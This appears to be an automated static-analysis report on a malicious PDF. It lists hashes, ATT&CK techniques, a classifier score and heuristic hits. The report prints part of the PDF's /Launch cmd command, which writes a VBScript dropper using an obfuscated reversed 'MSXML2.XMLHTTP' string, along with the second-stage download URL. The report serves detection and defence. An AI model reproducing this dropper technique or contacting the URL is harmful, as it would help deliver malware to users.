Malicious PDF — malware analysis report

Static analysis result for SHA-256 d1748c61d18d2ceb…

MALICIOUS

PDF

788 B
MD5: df58aa79d1d990605d237e595572c17d SHA-1: dd8bcf5f850859176b2dcedade2f35b596917373 SHA-256: d1748c61d18d2ceb4ebdfc0fba8ad9c51331d24e4da82d6ae7956247f7fd80a0
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

This PDF file contains a launch action that executes a command. The command itself constructs and writes a VBScript file named 'm.vbs' to the user's temporary directory. This script is designed to download a second-stage payload from the embedded URL http://01.385sds1.co.cc/x/img.php?d=1. The ML classifier strongly indicates maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 4

  • Launch action high PDF_LAUNCH
    PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
  • Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
  • /Launch action target: cmd high PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://01.385sds1.co.cc/x/img.php?d=1

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_pdf_script_00000067.bin
ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5		 pdf-embedded-script PDF decompressed stream script payload at offset 0x67 63 bytes

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